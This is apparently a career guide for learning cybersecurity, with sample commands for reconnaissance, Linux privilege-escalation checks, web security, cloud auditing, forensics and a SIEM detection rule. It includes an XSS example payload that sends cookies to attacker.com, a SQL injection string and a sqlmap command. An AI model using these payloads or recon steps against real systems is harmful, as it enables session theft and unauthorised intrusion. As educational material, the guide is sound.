Cybersecurity Roadmap 2025 (Step-by-Step Guide)

Cybersecurity is one of the fastest-growing fields in tech — with millions of unfilled roles and salaries rivalling software engineering. But "cybersecurity" covers a huge spectrum: penetration testing, cloud security, incident response, cryptography, governance, and more. This roadmap shows you exactly what to learn, in what order, and which certifications actually matter, so you can move from zero to job-ready in 12–18 months.

At a glance

Phase 1 — Networking and operating system foundations

Security professionals spend most of their time on networks. You cannot protect what you do not understand.

Core networking skills

Practical tools

# Network reconnaissance
nmap -sV -sC -O 192.168.1.0/24   # version + script scan
nmap -p- --min-rate 5000 <IP>     # all ports fast

# Traffic analysis
tcpdump -i eth0 port 80 -w capture.pcap
wireshark                          # GUI packet inspector

# DNS enumeration
dig +any example.com
nslookup -type=TXT example.com

# Connectivity testing
ping -c 4 8.8.8.8
traceroute 8.8.8.8
curl -I https://example.com

Phase 2 — Linux proficiency

Most servers run Linux. Most security tools run on Linux. You must be comfortable on the command line.

Essential Linux for security

# File permissions (critical for privilege escalation)
ls -la /etc/shadow              # check who can read sensitive files
find / -perm -4000 2>/dev/null  # find SUID binaries (escalation targets)
find / -writable -type f 2>/dev/null | grep -v proc

# Process and network inspection
ps aux | grep <process>
ss -tlnp                        # listening ports + PIDs
netstat -antp
lsof -i :80                     # what's on port 80

# Log analysis
tail -f /var/log/auth.log       # authentication events
journalctl -u ssh --since "1 hour ago"
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn

# User and privilege management
id                              # current user + groups
sudo -l                         # what can I run as sudo?
cat /etc/passwd | grep -v nologin
getent group sudo

Linux hardening checklist

Phase 3 — Programming and scripting

You don't need to be a software developer, but scripting is essential for automation, tool development, and understanding exploits.

Python for security

# Port scanner
import socket

def scan_port(host, port):
    try:
        with socket.create_connection((host, port), timeout=1):
            return True
    except (socket.timeout, ConnectionRefusedError):
        return False

open_ports = [p for p in range(1, 1025) if scan_port("192.168.1.1", p)]
print(f"Open ports: {open_ports}")

# Hash a password (never store plain text)
import hashlib
import secrets

salt = secrets.token_hex(16)
hashed = hashlib.pbkdf2_hmac("sha256", b"password", salt.encode(), 100_000)
print(f"Salt: {salt}, Hash: {hashed.hex()}")

# Parse HTTP logs for suspicious IPs
from collections import Counter
with open("/var/log/nginx/access.log") as f:
    ips = [line.split()[0] for line in f]
top_ips = Counter(ips).most_common(10)
print(top_ips)

Bash scripting for automation

#!/usr/bin/env bash
# Quick recon script
TARGET=$1
echo "[*] Running recon on $TARGET"
echo "[*] Pinging..."
ping -c 1 "$TARGET" &>/dev/null && echo "Host is up" || echo "Host is down"
echo "[*] Top 100 ports..."
nmap -F "$TARGET" -oN "recon-$TARGET.txt"
echo "[*] Done. Results saved."

Languages worth knowing

Phase 4 — Core security concepts and cryptography

The CIA triad + beyond

Cryptography essentials

Common attacks on cryptography

Phase 5 — Web security and OWASP Top 10

Web applications are the most common attack surface. Learn every item on the OWASP Top 10 inside out.

OWASP Top 10 (2021)

SQL injection — detect and prevent

-- Vulnerable (NEVER do this)
query = "SELECT * FROM users WHERE username='" + username + "'"

-- Injected input: ' OR '1'='1
-- Becomes: SELECT * FROM users WHERE username='' OR '1'='1'
-- Returns all users!

# Safe: parameterised queries
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

# Test for SQLi with sqlmap:
# sqlmap -u "https://target.com/login" --data "user=test&pass=test" --dbs

XSS — detect and prevent

// Reflected XSS: input echoed in response without sanitisation
// Payload: <script>document.location='https://attacker.com/?c='+document.cookie</script>

// Prevention
const safe = DOMPurify.sanitize(userInput);   // client-side
// Server: encode output with html-entities, set Content-Security-Policy header

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY

Phase 6 — Ethical hacking and penetration testing

This is the skill most people think of when they hear "cybersecurity." Penetration testing has a formal methodology.

Pentest methodology

Essential tools

Practice platforms (free)

Phase 7 — Defensive security: SIEM, SOC, and blue team

Offensive is exciting, but defensive roles (SOC analyst, incident responder) are where most entry-level jobs are.

Security Operations Centre (SOC)

SIEM fundamentals

A SIEM (Security Information and Event Management) collects logs from every source and correlates them into alerts.

# Example Sigma detection rule (vendor-agnostic SIEM rule format)
title: Suspicious PowerShell Encoded Command
status: test
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains:
      - '-EncodedCommand'
      - '-enc '
      - '-e '
    Image|endswith: '\powershell.exe'
  condition: selection
level: medium
tags:
  - attack.execution
  - attack.t1059.001

Key log sources to monitor

Incident response (NIST framework)

Phase 8 — Cloud security

Cloud misconfigurations are the #1 cause of breaches. Every security professional needs cloud literacy.

Shared responsibility model

Top cloud misconfigurations

AWS security tools

# Check for exposed resources
aws s3api list-buckets --query 'Buckets[].Name'
aws s3api get-bucket-acl --bucket <name>

# IAM audit
aws iam generate-credential-report
aws iam get-credential-report --query 'Content' | base64 -d

# CloudTrail: check for suspicious API calls
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time "2025-01-01T00:00:00Z"

# Security Hub findings
aws securityhub get-findings --filters '{"RecordState":[{"Value":"ACTIVE","Comparison":"EQUALS"}]}'

Phase 9 — Malware analysis and digital forensics

Types of malware

Static malware analysis

# File identification
file malware.bin
strings malware.bin | grep -E "(http|ftp|cmd|powershell|base64)" | head -30

# Hash for threat intel lookup (VirusTotal)
sha256sum malware.bin
md5sum malware.bin

# PE file analysis (Windows executables)
exiftool malware.exe              # metadata
objdump -d malware.exe | head -50 # disassembly
# Use PE Studio or CFF Explorer for GUI analysis

Dynamic analysis (sandbox)

Digital forensics

# Disk imaging (never work on original evidence)
dd if=/dev/sda of=/mnt/external/disk.img bs=4M status=progress
dcfldd if=/dev/sda hash=sha256 hashlog=hash.txt of=disk.img

# Memory acquisition
sudo avml /mnt/external/memory.lime      # Linux
# For Windows: WinPmem, Magnet RAM Capture

# Volatility 3 — memory analysis
vol -f memory.lime linux.pslist          # running processes
vol -f memory.lime linux.netstat         # network connections
vol -f memory.lime linux.bash            # bash history in memory

Phase 10 — Compliance, governance, and risk

Many security jobs are in GRC (Governance, Risk, and Compliance) — less technical but high-paying and abundant.

Key frameworks and standards

Risk management basics

Risk = Likelihood × Impact

Risk treatments:
  Avoid    — stop the risky activity
  Mitigate — implement controls to reduce likelihood/impact
  Transfer — insurance, third-party contracts
  Accept   — document and accept residual risk

Full technology map

FOUNDATIONS
├── Networking (TCP/IP, DNS, HTTP, TLS)
├── Operating systems (Linux + Windows)
├── Programming (Python, Bash, PowerShell)
└── Cryptography (AES, RSA, hashing, PKI)

OFFENSIVE (Red Team)
├── Reconnaissance (OSINT, Shodan, nmap)
├── Scanning (Nessus, Nikto, Burp Suite)
├── Exploitation (Metasploit, manual CVEs)
├── Post-exploitation (LinPEAS, privilege escalation)
└── Reporting (findings, remediation, CVSS scores)

DEFENSIVE (Blue Team)
├── SIEM (Splunk, Microsoft Sentinel, Elastic)
├── EDR (CrowdStrike, SentinelOne, Defender)
├── Threat hunting (hypothesis-driven detection)
├── Incident response (NIST 6 phases)
└── Digital forensics (Volatility, Autopsy)

WEB SECURITY
├── OWASP Top 10 (SQLi, XSS, SSRF, etc.)
├── Burp Suite (intercept, scanner, intruder)
├── API security (JWT, OAuth, rate limiting)
└── Source code review (SAST tools)

CLOUD SECURITY
├── AWS (IAM, Security Hub, GuardDuty, CloudTrail)
├── Azure (Defender for Cloud, Entra ID, Sentinel)
├── GCP (Security Command Center, VPC Service Controls)
└── Kubernetes security (RBAC, network policies, OPA)

GRC
├── Frameworks (NIST, ISO 27001, SOC 2, PCI-DSS)
├── Risk management (assessment, treatment)
├── Audit and compliance
└── Policy and procedure writing

Realistic 18-month timeline

Certifications (prioritised)

Cybersecurity roles and salary (2025)

Common mistakes to avoid

Cybersecurity vs related fields

Frequently asked questions

Do I need a degree to get into cybersecurity? No. Many practitioners are self-taught or come from unrelated fields. Certifications (especially Security+ and OSCP), a strong lab portfolio, and CTF write-ups can outweigh a degree for most roles — though some government and defence positions formally require it.

Red team or blue team first? Start with blue team. Understanding how attacks are detected and how systems are defended gives you context that makes you a better attacker later. SOC analyst roles are also more abundant for entry-level candidates. Many professionals eventually do both (purple team).

What's the fastest path to a job? CompTIA Security+ + TryHackMe SOC path + 3 HTB write-ups gets many people their first SOC Tier 1 role within 6–9 months. Specialise into pentesting or cloud security after your first 12–18 months of paid experience.

Is ethical hacking (pentesting) legal? Only with explicit written authorisation from the system owner. Never test systems you don't own or have no written permission to test — this is illegal in almost every jurisdiction regardless of intent. Use TryHackMe, HTB, or your own lab.

OSCP or CEH? OSCP every time. CEH is a multiple-choice exam with less practitioner respect. OSCP is a 24-hour practical exam where you exploit real machines — it carries significant weight with hiring managers. The CEH is more of an HR check-box at some organisations.

Python or Go for security tooling? Python first. The security ecosystem (Scapy, Impacket, Volatility, most PoC exploits) is built in Python. Go is growing fast for building portable, high-performance security tools (many modern C2 frameworks are Go-based), but Python gets you further faster as a beginner.